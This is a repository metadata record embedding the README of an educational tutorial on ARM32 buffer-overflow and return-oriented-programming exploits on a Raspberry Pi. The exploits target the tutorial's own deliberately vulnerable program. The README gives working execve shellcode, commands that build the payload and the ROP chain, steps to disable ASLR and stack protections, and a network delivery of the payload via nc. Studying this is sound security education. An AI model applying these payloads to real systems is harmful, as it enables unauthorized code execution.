{"id":19443010,"url":"https://github.com/syncom/rop-on-arm-rpi3-tutorial","last_synced_at":"2025-04-25T00:32:12.056Z","repository":{"id":145815001,"uuid":"132049207","full_name":"syncom/rop-on-arm-rpi3-tutorial","owner":"syncom","description":"ARM (A32) Linux Return-oriented Programming with Raspberry Pi","archived":false,"fork":false,"pushed_at":"2022-09-28T05:01:33.000Z","size":11,"stargazers_count":13,"open_issues_count":0,"forks_count":0,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-04-03T13:39:30.661Z","etag":null,"topics":["arm32v7","exploit-trainings","raspberry-pi","return-oriented-programming","rop","rpi3"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/syncom.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-05-03T21:02:34.000Z","updated_at":"2024-05-14T13:20:33.000Z","dependencies_parsed_at":"2023-04-17T16:16:43.979Z","dependency_job_id":null,"html_url":"https://github.com/syncom/rop-on-arm-rpi3-tutorial","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syncom%2Frop-on-arm-rpi3-tutorial","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syncom%2Frop-on-arm-rpi3-tutorial/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syncom%2Frop-on-arm-rpi3-tutorial/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/syncom%2Frop-on-arm-rpi3-tutorial/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/syncom","download_url":"https://codeload.github.com/syncom/rop-on-arm-rpi3-tutorial/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":250733366,"owners_count":21478347,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arm32v7","exploit-trainings","raspberry-pi","return-oriented-programming","rop","rpi3"],"created_at":"2024-11-10T15:41:43.670Z","updated_at":"2025-04-25T00:32:12.028Z","avatar_url":"https://github.com/syncom.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Tutorial: ARM (A32) Linux Buffer Overflow Exploit with Raspberry Pi 3\n\n*Before automating a process, one needs to know how to do it manually.*\n\nBen Lynn has written an excellent tutorial about how to exploit a\nstack-based buffer overflow vulnerability on 64-bit Linux in his\nblog post [Return-oriented programming on 64-bit\nLinux](https://crypto.stanford.edu/~blynn/rop/). In this tutorial, we\ndemonstrate similar techniques on an ARM architecture, using a [Raspberry\nPi 3](https://www.raspberrypi.org/products/raspberry-pi-3-model-b/)\nrunning the Raspbian Linux operating system.\n\n## Operating system for the tutorial\n\n[Raspbian](https://www.raspberrypi.org/downloads/raspbian/) (kernel\nversion 4.14). Running `uname -a` gives `Linux rpi 4.14.37-v7+ \\#1111\nSMP Thu Apr 26 13:56:59 BST 2018 armv7l GNU/Linux`\n\n## Disablement of Linux platform countermeasures\n\nFor a demonstration purpose, in this tutorial, we shall disable Linux\nplatform provided anti-exploitation countermeasures:\n\n### Stack smash protector (SSP, stack canary): disable for Part 1 and Part 2\n\nWhen building vulnerable code\n\n```bash\n$ gcc -fno-stack-protector [other args] badcode.c\n```\n\n### Non-executable stack (data execution prevention, DEP): disable for Part 1\n\nMark binary `badcode` as requiring executable stack. \n\n```bash\n$ execstack -s ./badcode\n```\n\nNote: As it [turned\nout](https://stackoverflow.com/questions/45253755/why-is-the-stack-segment-executable-on-raspberry-pi/45254318),\nthe command that is supposed to mark the binary's stack non-executable,\n`execstack -c ./badcode`, takes no effect on the version of Raspbian I\nuse for this demonstration. And therefore, this step is redundant on\nthis particular platform.\n\n### Address space layout randomization (ASLR): disable for Part 1 and Part 2\n\nOne can either disable ASLR on the vulnerable binary only during\nexecution time\n\n```bash\n$ setarch $(arch) -R ./badcode\n```\n\nor temporarily disable ASLR on the entire platform\n\n```bash\n$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n```\n\nTo make it simple, in this tutorial we will only use the A32\ninstruction set, and will not take advantage the ARMv7 processor's\nsupport of the Thumb (T32) instruction set.\n\n## Part 1: Exploit a stack-based buffer overflow by returning to shell code\n\nIn this section, we demonstrate how to overwrite the vulnerable code's\n`main` function's return address to point it to a piece of shell code\nstored on the stack.\n\n### The stack layout for this exploit\n\n```text\n    --- bottom of stack ---\n  \n    return addr: addr of \u0026buf[0]\n    -----------------------\n        $r11 (frame pointer)\n    -----------------------\n    80-byte buf, beginning with shellcode\n\n    ---  top of stack   ---\n```\n\n### The shellcode\n\nThe shell code uses the `execve` system call to invoke `/bin/sh`.\n\nThe shell code can be extracted from the executable 'shell', compiled out of\nthe source file [shell.c](src/shell.c), by the procedures that follow:\n\n```bash\n$ cd src\n$ make shell\n```\n\nNow the ELF 32-bit LSB executable 'shell' is generated. We use `objdump` to\ninspect the shell code of interest.\n\n```bash\n$ objdump -d shell | sed -n '/needle0/,/needle1/p'\n```\n\nThis prints\n\n```assembly\n000103f0 \u003cneedle0\u003e:\n   103f0:\tea000004 \tb\t10408 \u003clab1\u003e\n\n000103f4 \u003clab0\u003e:\n   103f4:\te1a0000e \tmov\tr0, lr\n   103f8:\te0211001 \teor\tr1, r1, r1\n   103fc:\te0222002 \teor\tr2, r2, r2\n   10400:\te3a0700b \tmov\tr7, #11\n   10404:\tef000000 \tsvc\t0x00000000\n\n00010408 \u003clab1\u003e:\n   10408:\tebfffff9 \tbl\t103f4 \u003clab0\u003e\n   1040c:\t6e69622f \t.word\t0x6e69622f\n   10410:\t7361622f \t.word\t0x7361622f\n   10414:\t68          \t.byte\t0x68\n\n00010415 \u003cneedle1\u003e:\n```\n\nBecause '0x415-0x3f0' equals 37 in decimal, we round it to 40 bytes (so\nthat the code is 4-byte aligned) for the shell code.\n\n```bash\n$ xxd -s0x3f0 -l40 -p shell \u003e shellcode.txt\n$ cat shellcode.txt\n040000ea0e00a0e1011021e0022022e00b70a0e3000000eff9ffffeb2f62\n696e2f6261736800dead\n```\n\nThis is the shell code we are going to jump to after overrunning the stack\nbuffer later.\n\n### The bad code\n\nThe bad C code, [badcode.c](src/badcode.c), exhibits a classic buffer overflow\non the stack. To compile the code without stack protection and DEP, two\nOS-added anti-exploitation countermeasures, for the demonstration purpose, do\n\n```bash\n$ make badcode\n```\n\nNow let's get some idea about the stack layout in the 'badcode' program.\n\n```bash\n$ gdb ./badcode\n```\n\nWithin the `gdb` console, disassemble the 'main' function\n\n```bash\n(gdb) disas main\nDump of assembler code for function main:\n   0x0001047c \u003c+0\u003e:\tpush\t{r11, lr}\n   0x00010480 \u003c+4\u003e:\tadd\tr11, sp, #4\n   0x00010484 \u003c+8\u003e:\tsub\tsp, sp, #88\t; 0x58\n   0x00010488 \u003c+12\u003e:\tstr\tr0, [r11, #-88]\t; 0x58\n   0x0001048c \u003c+16\u003e:\tstr\tr1, [r11, #-92]\t; 0x5c\n   0x00010490 \u003c+20\u003e:\tsub\tr3, r11, #84\t; 0x54\n   0x00010494 \u003c+24\u003e:\tldr\tr0, [pc, #52]\t; 0x104d0 \u003cmain+84\u003e\n   0x00010498 \u003c+28\u003e:\tmov\tr1, r3\n   0x0001049c \u003c+32\u003e:\tbl\t0x1030c\n   0x000104a0 \u003c+36\u003e:\tldr\tr0, [pc, #44]\t; 0x104d4 \u003cmain+88\u003e\n   0x000104a4 \u003c+40\u003e:\tbl\t0x10324\n   0x000104a8 \u003c+44\u003e:\tsub\tr3, r11, #84\t; 0x54\n   0x000104ac \u003c+48\u003e:\tmov\tr0, r3\n   0x000104b0 \u003c+52\u003e:\tbl\t0x10318\n   0x000104b4 \u003c+56\u003e:\tsub\tr3, r11, #84\t; 0x54\n   0x000104b8 \u003c+60\u003e:\tmov\tr0, r3\n   0x000104bc \u003c+64\u003e:\tbl\t0x10324\n   0x000104c0 \u003c+68\u003e:\tmov\tr3, #0\n   0x000104c4 \u003c+72\u003e:\tmov\tr0, r3\n   0x000104c8 \u003c+76\u003e:\tsub\tsp, r11, #4\n   0x000104cc \u003c+80\u003e:\tpop\t{r11, pc}\n   0x000104d0 \u003c+84\u003e:\tandeq\tr0, r1, r12, asr #10\n   0x000104d4 \u003c+88\u003e:\tandeq\tr0, r1, r0, asr r5\nEnd of assembler dump.\n```\n\nFrom the disassembled code at offset +44, we can tell that the stack\narray we are trying to overflow, 'buf', starts 84 (i.e., 0x54 in hex)\nbytes below $r11, which points to the location of the saved $lr on the\nstack (see code at offset +4). It is the return address of the 'main' \nfunction. In other words, the saved return address of the 'main'\nfunction on the stack is 84 bytes above 'buf'. This is the address we\nwill overwrite.\n\n### The Exploit\n\nOur exploitation strategy is therefore as follows:\n\n1. Prepare a payload of 88 bytes in total, with the shell code in front, and\n   the 4-byte address of 'buf' in the end. We also preserve the value of\n   saved $r11 by setting the second last 4 bytes appropriately. In gdb,\n   by breaking at `*0x0001047c` and examining the value of $r11, we\n   obtain that this value should be 0x0.\n2. Put our payload (and thus shell code) at the address of 'buf', so that the\n   return address of 'main' will be overridden with the address of the\n   shell code.\n3. Fill the rest of the payload with arbitrary bytes.\n\nFor the demonstration, we also disable ASLR when running the 'badcode'\nprogram (in the meanwhile 'badcode' also prints out the address of 'buf', to\nsimplify the demonstration).\n\n```bash\n$ setarch $(arch) -R ./badcode\n0x7efff1f8\nEnter name:\n```\n\nTo implement the above strategy\n\n1. Get the address of 'buf', 0x7efff1f8, which has been printed out in the\n   test run above.\n2. Prepare the payload file 'payload'\n\n   ```bash\n   $ pad=$(for i in $(seq 40); do echo -n '42'; done)\n   $ r11=$(printf %08x 0x0 | tac -rs..)\n   $ ret=$(printf %08x 0x7efff1f8 | tac -rs..) # little endian\n   $ (cat shellcode.txt; echo -n $pad; echo -n $r11; echo -n $ret) | xxd -r -p \u003e payload\n   ```\n\n   If we run `xxd payload`, we will see the payload content as\n   follows:\n\n   ```text\n   0000000: 0400 00ea 0e00 a0e1 0110 21e0 0220 22e0  ..........!.. \".\n   0000010: 0b70 a0e3 0000 00ef f9ff ffeb 2f62 696e  .p........../bin\n   0000020: 2f62 6173 6800 dead 4242 4242 4242 4242  /bash...BBBBBBBB\n   0000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB\n   0000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB\n   0000050: 0000 0000 f8f1 ff7e                      .......~\n   ```\n\n3. Run exploit (using `cat` as stdin)\n\n   ```bash\n   $ (cat payload; cat) | setarch $(arch) -R ./badcode\n   0x7efff1f8\n   Enter name:\n   ```\n\n   Press 'enter', and now we have the shell\n\n   ```bash\n   date\n   Fri May  4 02:05:24 CST 2018\n   uname -r\n   4.14.37-v7+\n   whoami\n   pi\n   apt-get moo\n                    (__) \n                    (oo) \n              /------\\/ \n             / |    ||   \n            *  /\\---/\\ \n               ~~   ~~   \n   ...\"Have you mooed today?\"...\n   ```\n\nRecall that in the demonstration above, we have turned off Linux provided\ncountermeasures: stack protection, non-executable stack, and address space\nlayout randomization.\n\nIf non-executable stack is turned on, then the above exploit would not\nhave worked. Unfortunately, on the version of the Raspbian I use for\nthis tutorial, non-executable stack is not properly implemented, and\nthus cannot be easily enabled using the `execstack -c [binary]` command.\nOn a target that supports this countermeasure, its effect can be\nobserved by `make badcode_dep`, and then repeating the procedures above\non `./badcode_dep`. You should receive a segmentation fault (core\ndumped) message when injecting the payload.\n\nIn Part 2, we will describe the technique to bypass non-executable\nstack.\n\n## Part 2: Return-oriented programming exploit on ARMv7\n\n### The stack layout for this exploit\n\n```text\n    --- bottom of stack ---\n\n     addr of 'system()'\n    -----------------------\n     addr of \"/bin/sh\"\n    -----------------------\n     addr of 'pop {r0, pc}'\n    -----------------------\n       saved $r11 (0x000000)\n    -----------------------\n    80-byte buf, filled with anything\n\n    ---  top of stack   ---\n```\n\n### The bad code with DEP\n\nOur bad code is the same as before at the source level. But we turn on\nnon-executable stack.\n\n```bash\n$ cd src\n$ make badcode_dep\n```\n\nThe vulnerable binary is generated as 'badcode_dep'.\n\n### Return on ARM\n\nThere is no 'RET' instruction on ARM. However, returning on ARM can be\nas simple as putting the address of the instruction to jump to in the\n$pc register, e.g., `pop {pc}`. And this is effectively equivalent to a\n'RET' on x64, i.e., it jumps to the address in memory held my the stack\npointer $sp, and increments $sp by the size of a pointer length (4 for\nA32).\n\nOur exploitation strategy is therefore the following: by laying out the\nstack content carefully, and bootstrap the jump to (a chain of)\ninstructions such as `pop {r0, ..., pc}` to cause the program control\nflow to hit `system(\"/bin/sh\")`.\n\n## The procedures\n\nIt might be tempting to put the string \"/bin/sh\" inside the buffer that\nis being overflown. However, because the buffer is on the stack, and\nsubsequent function invocations (e.g., 'system()') may destroy this\ncontent, doing so will make the exploit unreliable, and often causes a\nSIGSEGV before the shell gets to run. A better strategy is to find the\nlocation of the string \"/bin/bash\" in other parts of the program's\nmemory space, for example, in 'libc'. In gdb, we do\n\n```bash\n(gdb) b main\nBreakpoint 1 at 0x10490: file badcode.c, line 7.\n(gdb) run\nStarting program: /home/pi/src/rop-tutorial-on-arm32/src/badcode_dep \n\nBreakpoint 1, main (argc=1, argv=0x7efff354) at badcode.c:7\n7\t    printf(\"%p\\n\", buf); // address of the buf array\n(gdb) print \u0026system\n$1 = (\u003ctext variable, no debug info\u003e *) 0x76e9ffac \u003c__libc_system\u003e\n(gdb) find \u0026system,+9999999,\"/bin/sh\"\n0x76f83b20\nwarning: Unable to access 16000 bytes of target memory at 0x76f93528, halting search.\n1 pattern found.\n(gdb) x/s 0x76f83b20\n0x76f83b20:\t\"/bin/sh\"\n```\n\nThis way, we find the memory address 0x76f83b20, at which the string\n\"/bin/sh\" resides. Save the hexadecimal representation of this address\nto a variable $r0:\n\n```bash\n$ r0=$(printf %08x 0x76f83b20 | tac -rs..)\n```\n\nNext, we search for a ROP gadget of the form 'pop {r0, ..., pc}' in shared\nlibraries loaded by the vulnerable program. For example, searching in\n'libc'\n\n```bash\n$ objdump -d /lib/arm-linux-gnueabihf/libc-2.19.so | grep -B5 \"pop.*r0.*pc\"\n```\n\nwe get a number of reasonable choices such as 'pop     {r0, r4, pc}', as\nshown below\n\n```text\n   7a118:\t25714001 \tldrbcs\tr4, [r1, #-1]!\n   7a11c:\t2551c001 \tldrbcs\tip, [r1, #-1]\n   7a120:\t15603001 \tstrbne\tr3, [r0, #-1]!\n   7a124:\t25604001 \tstrbcs\tr4, [r0, #-1]!\n   7a128:\t2540c001 \tstrbcs\tip, [r0, #-1]\n   7a12c:\te8bd8011 \tpop\t{r0, r4, pc}\n--\n   7aaa4:\t24d14001 \tldrbcs\tr4, [r1], #1\n   7aaa8:\t25d1c000 \tldrbcs\tip, [r1]\n   7aaac:\t14c03001 \tstrbne\tr3, [r0], #1\n   7aab0:\t24c04001 \tstrbcs\tr4, [r0], #1\n   7aab4:\t25c0c000 \tstrbcs\tip, [r0]\n   7aab8:\te8bd8011 \tpop\t{r0, r4, pc}\n--\n   d4500:\te92d480f \tpush\t{r0, r1, r2, r3, fp, lr}\n   d4504:\te1b0000b \tmovs\tr0, fp\n   d4508:\t15100004 \tldrne\tr0, [r0, #-4]\n   d450c:\t11b0100e \tmovsne\tr1, lr\n   d4510:\t1bfffd1b \tblne\td3984 \u003c_mcleanup+0x40\u003e\n   d4514:\te8bd880f \tpop\t{r0, r1, r2, r3, fp, pc}\n```\n\nIt turns out, a more straightforward gadget 'pop {r0, pc}' is readily\navailable in 'libarmmem.so'\n\n```bash\n$ objdump -d /usr/lib/arm-linux-gnueabihf/libarmmem.so | grep -B5 \"pop.*r0.*pc\"\n```\n\nAn example output is\n\n```text\n    40ec:\t28a0000a \tstmiacs\tr0!, {r1, r3}\n    40f0:\t44801004 \tstrmi\tr1, [r0], #4\n    40f4:\te1b02102 \tlsls\tr2, r2, #2\n    40f8:\t20c010b2 \tstrhcs\tr1, [r0], #2\n    40fc:\t45c01000 \tstrbmi\tr1, [r0]\n    4100:\te8bd8001 \tpop\t{r0, pc}\n```\n\nWe now know at the instruction 'pop     {r0, pc}' is at offset 0x4100 in\n'libarmmem.so'. And this is the gadget we are going to use for our ROP\nexploit. To find out the address of this gadget, we just need to know\nthe start address of 'libarmmem.so' in the program's address space. It\ncan be done by running `./badcode_dep` in one terminal, and in another\n\n```bash\n$ pid=$(ps -C badcode_dep -o pid --no-header)\n$ grep libarmmem /proc/$pid/maps\n```\n\nto get the start address 0x76fba00, as shown in the output below\n\n```text\n76fba000-76fbf000 r-xp 00000000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so\n76fbf000-76fce000 ---p 00005000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so\n76fce000-76fcf000 rw-p 00004000 b3:07 537813     /usr/lib/arm-linux-gnueabihf/libarmmem.so\n```\n\nAdding the offset 0x4100 to it, we have\n\n```bash\n$ ret=$(printf %08x $((0x76fba000+0x4100)) | tac -rs..)\n```\n\nSimilarly, we obtain the address of the 'system()' function by first\nfinding its offset (0x39fac) in 'libc'\n\n```bash\n$ nm -D /lib/arm-linux-gnueabihf/libc-2.19.so | grep '\\\u003csystem\\\u003e'\n00039fac W system\n```\n\nand then getting the start address of 'libc' (0x76e66000) in memory\n\n```bash\n$ grep libc /proc/$pid/maps     \n76e66000-76f91000 r-xp 00000000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so\n76f91000-76fa1000 ---p 0012b000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so\n76fa1000-76fa3000 r--p 0012b000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so\n76fa3000-76fa4000 rw-p 0012d000 b3:07 656699     /lib/arm-linux-gnueabihf/libc-2.19.so\n```\n\nAdding the offset to the start address, we have\n\n```bash\n$ system_addr=$(printf %08x $((0x76e66000+0x39fac)) | tac -rs..)\n```\n\nWe set up the first 84 bytes as 80-byte arbitrary data followed by the\nsaved $r11 value 0x00000000.\n\n```bash\n$ pad=$(echo -n \"ARM ROP Tutorial\" | xxd -p; \\\necho -n \"00\"; \\\nfor i in `seq 63`; do echo -n \"42\"; done; \\\necho -n \"00000000\")\n```\n\nNow we complete the construction of the 96-byte ROP payload\n\n```bash\n$ echo -n ${pad}${ret}${r0}${system_addr} | xxd -r -p \u003e rop_payload\n```\n\nRun the ROP exploit\n\n```bash\n$ (cat rop_payload ; cat) | ./badcode_dep \n```\n\nHit a few enters to get in the spawned shell.\n\n```bash\nEnter name:\n\nARM ROP Tutorial\nwhoami\npi\ndate\nFri  4 May 04:53:42 CST 2018\nexit\n```\n\nNote that when we exit from the shell, it might get a (harmless)\nsegmentation fault. This is likely caused by the arbitrary bytes we used\nfor the padding or our setting the saved $r11 as 0x00000000. I have not\ndug into the root cause, but it should not affect the effectiveness\nof our exploit.\n\n## How to demonstrate the attack over the network\n\n* On victim machine, change to the `src` directory. On one terminal\n\n  ```bash\n  $ mkfifo pip\n  $ nc -l 3333 \u003e pip # listening on port 3333: DANGER\n  ```\n\n  On another terminal\n\n  ```bash\n  $ cat pip | setarch `arch` -R ./badcode\n  ```\n\n* On attacking machine, change to the `src` directory. On a terminal\n\n  ```bash\n  $ (cat payload; cat) | nc 127.0.0.1 3333\n  ```\n\n  In the above command, `127.0.0.1` can be replaced with the external IP\n  of the victim machine.\n\n## A list of unsafe C functions to avoid when playing with strings\n\n```text\ngets\nstrcpy\nstrcat\nsprintf\nscanf\nsscanf\n```\n\nUse `memcpy` with extra care.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsyncom%2Frop-on-arm-rpi3-tutorial","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsyncom%2Frop-on-arm-rpi3-tutorial","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsyncom%2Frop-on-arm-rpi3-tutorial/lists"}